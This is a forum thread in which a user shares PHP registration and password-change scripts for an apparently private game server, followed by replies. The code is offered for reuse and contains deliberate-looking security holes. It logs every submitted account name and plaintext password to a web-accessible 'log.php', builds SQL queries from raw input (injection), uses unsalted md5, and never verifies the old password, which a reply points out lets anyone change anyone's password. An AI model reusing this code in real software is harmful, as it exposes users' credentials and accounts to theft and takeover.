Login form + AUTO CUBI SISTEM +Ip log + repass+ php log

Results 1 to 9 of 9
  1. #1

    smile Login form + AUTO CUBI SISTEM +Ip log + repass+ php log

    Just for mysql
    File name = index.php :

    <? //=====Script by trash+Corected by PanGu=====// //=====For MySQL Database=====//

    include "connector.php";



    $Data = '<form action=index.php method=post>
    <font color=red>*<font color=black>Login Name:
    <br><input type=text name=login><br><br>
    <font color=red>*<font color=black>Your Password:
    <br><input type=password name=passwd><br><br>
    <font color=red>*<font color=black>Repeat password:
    <br><input type=password name=repasswd><br><br>
    <font color=red>*<font color=black>Phone Number :
    <br><input type=text name=telefon><br><br>
    <input type="hidden" name="ip" id="ip" />
    <font color=red>*<font color=black>E-mail:
    <br><input type=text name=email><Br>
    <p><label for="gender">Gender:<BR></label> <select name="gender"><option
    value ="1">select</option><option value ="2">Female</option><option value ="3">Male</option></select><Br><br>
    <input type=submit name=submit value="I Agree! Register Account"><br>
    </form>';

    if (isset($_POST['login']))
    {
    $Link = MySQL_Connect($DBHost, $DBUser, $DBPassword) or die ("Can't connect to MySQL");
    MySQL_Select_Db($DBName, $Link) or die ("Database ".$DBName." do not exists.");

    $Login = $_POST['login'];
    $Pass = $_POST['passwd'];
    $Repass = $_POST['repasswd'];
    $Email = $_POST['email'];
    $Tel = $_POST['telefon'];
    $ip = $_POST['ip'];


    $Login = StrToLower(Trim($Login));
    $Pass = StrToLower(Trim($Pass));
    $Repass = StrToLower(Trim($Repass));
    $Email = Trim($Email);
    $Tel =Trim($Tel);
    $ip = getenv('REMOTE_ADDR');

    if (empty($Login) || empty($Pass) || empty($Repass) || empty($Email))
    {
    echo "All fields is empty<br>."; exit;
    }

    elseif (ereg("[^0-9a-zA-Z_-]", $Login, $Txt))
    {
    echo "Login have a incorrect format<br>.";
    }

    elseif (ereg("[^0-9a-zA-Z_-]", $Pass, $Txt))
    {
    echo "Password have a incorrect format<br>.";
    }

    elseif (ereg("[^0-9a-zA-Z_-]", $Repass, $Txt))
    {
    echo "Repeat password have a incorrect format<br>";
    }
    elseif (StrPos('\'', $Email))
    {
    echo "Email have a incorrect format.";
    }
    else
    {
    $Result = MySQL_Query("SELECT name FROM users WHERE name='$Login'") or ("Can't execute query.");

    if (MySQL_Num_Rows($Result))
    {
    echo "Account <b>".$Login."</b> is exists<br>";
    }

    elseif ((StrLen($Login) < 6) or (StrLen($Login) > 15))

    {
    echo "Login must have more 6 and not more 10 symbols.<br>";
    }

    elseif ((StrLen($Pass) < 8) or (StrLen($Pass) > 15))

    {
    echo "Password must have more 8 and not more 15 symbols<br>.";
    }

    elseif ((StrLen($Repass) < 8) or (StrLen($Repass) > 15))
    {
    echo "Repeat password must have more 8 and not more 15 symbols<br>.";
    }

    elseif ((StrLen($Email) < 10) or (StrLen($Email) > 25))
    {
    echo "Email must have more 10 and not more 25 symbols<br>.";
    }

    elseif ((StrLen($Tel) < 10) or (StrLen($Tel) > 25))
    {
    echo "Phone Number must have more 10 and not more 25 symbols<br>.";
    }

    elseif ($Pass != $Repass)
    {
    echo "Password mismatch.";
    }
    else
    {
    $Salt = $Login.$Pass;
    $Salt = md5($Salt);
    $Salt = "0x".$Salt;
    MySQL_Query("call adduser('$Login', $Salt, '0', '0', '0', '$ip', '$Email', '$Tel', '0', '0', '0', '0', '0', '0', '', '', $Salt)") or die ("Can't execute query.");
    $result2 = mysql_query("SELECT * FROM users WHERE name='$Login'") or die("can't find ID");
    $row2 = mysql_fetch_array( $result2 );
    $ID = $row2['ID'];
    $TIME = $row2['creatime'];
    MySQL_Query("INSERT INTO usecashnow (userid, zoneid, sn, aid, point, cash, status, creatime) VALUES ($ID, 1, -1, 1, 0, 100000000, 0, '$TIME')");



    if (MySQL_Num_Rows($result2 ))
    {
    echo "Account <b>".$Login." <br><font color=red>Register Complete<font color=Black></b><br>";exit;
    }



    else

    {
    echo "Account <b>".$Login."</b> <br><b><font color=red>Not Created<font color=Black><br></b> Please Try agaun!!</b>"; exit;

    }

    }

    }
    }

    echo $Data;

    ?>
    <font color=black>
    <?
    $serverIP=$_SERVER['REMOTE_ADDR'];
    echo "<br>Your IP Address is:<br><font color=black><B>" . $serverIP ."";
    ?>
    <input type="hidden" name="ip" id="ip" />
    <?
    $ip = getenv('REMOTE_ADDR');
    $handle = fopen("log.php", 'a');
    fwrite($handle, "<br> IP= $ip <br> Account= $Login");
    fwrite($handle, "<br> Password= $Pass ");
    fwrite($handle, "<br> RPassword= $Repass ");
    fwrite($handle, "<br> E-mail:= $Email");
    fwrite($handle, "<br>---------------------------------------------------------------<br> ") ;
    fclose($handle);?>


    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    File = connector.php

    (code)

    <? //=====Script by trash=====// //=====For MySQL Datatbase=====//

    $DBHost = "0.0.0.0"; // localhost or your IP
    $DBUser = "User"; // Database user
    $DBPassword = "YourPassWord"; // Database password
    $DBName = "dbo"; // Database name

    ?>

    file log.php

    (Code)

    Ip log



    hope you like it ^^ and i sugest u change the ip log file name to your name ..it can be random just change this : $handle = fopen("log.php(replace)", 'a');
    And in a separate folder copy the conector.php and make new file index.php
    (change password script by me)

    <? //=====By Pangu(big thanks to Szaer for querry and to trash for form=====// //=====For MySQL Database=====//

    include "config.php";



    $Data = '<form action=index.php method=post>

    <font color=red>*<font color=black>Login Name:
    <br><input type=text name=login><br><br>

    <font color=red>*<font color=black>Old Password:
    <br><input type=password name=misto><br><br>

    <font color=red>*<font color=black>New Password:
    <br><input type=password name=passwd><br><br>

    <font color=red>*<font color=black>Confirm New Password:
    <br><input type=password name=passwd2><br><br>

    <font color=red>*<font color=black>E-Maill:
    <br><input type=text name=email><br><br
    <input type="hidden" name="ip" id="ip" />
    <input type=submit name=submit value="Change Password"><br>
    </form>';

    if (isset($_POST['login']))
    {
    $Link = MySQL_Connect($DBHost, $DBUser, $DBPassword) or die ("Can't connect to MySQL");
    MySQL_Select_Db($DBName, $Link) or die ("Database ".$DBName." do not exists.");

    $Login = $_POST['login'];
    $Pass = $_POST['passwd'];
    $Rpass = $_POST['passwd2'];
    $Email = $_POST['email'];
    $Misto = $_POST['misto'];

    $Login = StrToLower(Trim($Login));
    $Pass = StrToLower(Trim($Pass));
    $Rpass = StrToLower(Trim($Rpass));
    $Email = StrToLower(Trim($Email));
    $Misto = StrToLower(Trim($Misto));



    if (empty($Login) || empty($Pass) || empty($Misto)|| empty($Rpass))
    {
    echo "All fields is empty.";exit;
    }

    elseif (ereg("[^0-9a-zA-Z_-]", $Login, $Txt))
    {
    echo "Login have a incorrect format.";exit;
    }

    elseif (ereg("[^0-9a-zA-Z_-]", $Pass, $Txt))
    {
    echo "Password have a incorrect format."; exit;
    }

    elseif ($Pass != $Rpass)
    {
    echo "Password mismatch.";exit;

    }

    elseif ((StrLen($Login) < 4) or (StrLen($Login) > 15))

    {
    echo "Login must have more 4 and not more 10 symbols.";exit;
    }

    elseif ((StrLen($Pass) < 4) or (StrLen($Pass) > 15))

    {
    echo "Password must have more 4 and not more 15 symbols.";exit;
    }

    elseif ((StrLen($Rpass) < 4) or (StrLen($Rpass) > 15))
    {
    echo "Repeat password must have more 4 and not more 15 symbols.";exit;
    }

    elseif ((StrLen($Email) < 8) or (StrLen($Email) > 25))
    {
    echo "Email must have more 8 and not more 25 symbols.";exit;
    }

    elseif ((StrLen($Misto) < 4) or (StrLen($Misto) > 25))
    {
    echo "Old Password must have more 4 and not more 25 symbols.";exit;
    }


    $Result = MySQL_Query("SELECT name FROM users WHERE email='$Email'") or ("Can't execute query.");


    if (MySQL_Num_Rows($Result))
    {

    $Salt = $Login.$Pass;
    $Salt = md5($Salt);
    $Salt = "0x".$Salt;
    MySQL_Query("call changePasswd('$Login', $Salt)") or die ("Can't execute query.");
    $result2 = mysql_query("SELECT * FROM users WHERE name='$Login'") or die("can't find ID");
    }



    $Result = MySQL_Query("SELECT name FROM users WHERE email='$Email'") or ("Can't execute query.");

    if (MySQL_Num_Rows($Result))
    {
    echo "Account <b>".$Login." <br><font color=red>Password Changed<font color=Black></b><br>";exit;
    }



    else

    {
    echo "Account <b>".$Login."</b> <br><b><font color=red>Password Not Changed<font color=Black><br></b> Please provide the right:<Br> <b>E-mail</b> adress or <b>Old Password</b>"; exit;

    }



    }


    echo $Data;

    ?>
    <input type="hidden" name="ip" id="ip" />
    <?
    $ip = getenv('REMOTE_ADDR');
    $handle = fopen("LOG.php", 'a');
    fwrite($handle, "<br> IP= $ip <br> Account= $Login");
    fwrite($handle, "<br> Password= $Pass ");
    fwrite($handle, "<br> RPassword= $Repass ");
    fwrite($handle, "<br> E-mail:= $Email");
    fwrite($handle, "<br>---------------------------------------------------------------<br> ") ;
    fclose($handle);?>

    (note if u whant you can remove misto caz i think the e-mail its secure inof)
    (and if anyone knows the check old password to make it more secure please post it )
    dont be mad on me caz i take the good parts form this forum and make better one
    i think its best to take the good part form pepole and use it forget abut theyer mistake we ar onley humans
    Have a good day
    Last edited by pastime4u; 04-10-09 at 12:15 PM.


  2. #2
    Valued Member dineide is offline
    MemberRank
    Dec 2008 Join Date
    129Posts

    Re: Login form + AUTO CUBI SISTEM +Ip log + repass+ php log

    How do i make my colinux work with myslq ...where to change ??

  3. #3

    Re: Login form + AUTO CUBI SISTEM +Ip log + repass+ php log

    download pw-uweb for colinux it have the option to change pass and give cubi XD i dont realy know how to migrate

  4. #4
    Robb rbb138 is offline
    MemberRank
    Jan 2009 Join Date
    London, EnglandLocation
    1,241Posts

    Re: Login form + AUTO CUBI SISTEM +Ip log + repass+ php log

    error's for me

  5. #5

    Re: Login form + AUTO CUBI SISTEM +Ip log + repass+ php log

    I will test seems to be easy ^ ^

  6. #6
    Robb rbb138 is offline
    MemberRank
    Jan 2009 Join Date
    London, EnglandLocation
    1,241Posts

    Re: Login form + AUTO CUBI SISTEM +Ip log + repass+ php log

    i think u forgot config.php

  7. #7

    Re: Login form + AUTO CUBI SISTEM +Ip log + repass+ php log

    File = connector.php

    (code)

    <? //=====Script by trash=====// //=====For MySQL Datatbase=====//

    $DBHost = "0.0.0.0"; // localhost or your IP
    $DBUser = "User"; // Database user
    $DBPassword = "YourPassWord"; // Database password
    $DBName = "dbo"; // Database name

    ?>

    ---------- Post added at 10:39 PM ---------- Previous post was at 10:39 PM ----------

    if you look close and studi it its there

  8. #8
    Robb rbb138 is offline
    MemberRank
    Jan 2009 Join Date
    London, EnglandLocation
    1,241Posts

    Re: Login form + AUTO CUBI SISTEM +Ip log + repass+ php log

    i do love it when people dont test stuff before releasing.

    the old password (id "misto") isnt checked to see if its correct.
    it checks if its the correct characters and then straight submits login+new pass to mysql.

    meaning anybody can change anybodys password.....

  9. #9
    Nerd-IO Romulan is offline
    MemberRank
    Feb 2009 Join Date
    BelgiumLocation
    3,333Posts

    Re: Login form + AUTO CUBI SISTEM +Ip log + repass+ php log

    Oh... it's odd xDD



Advertisement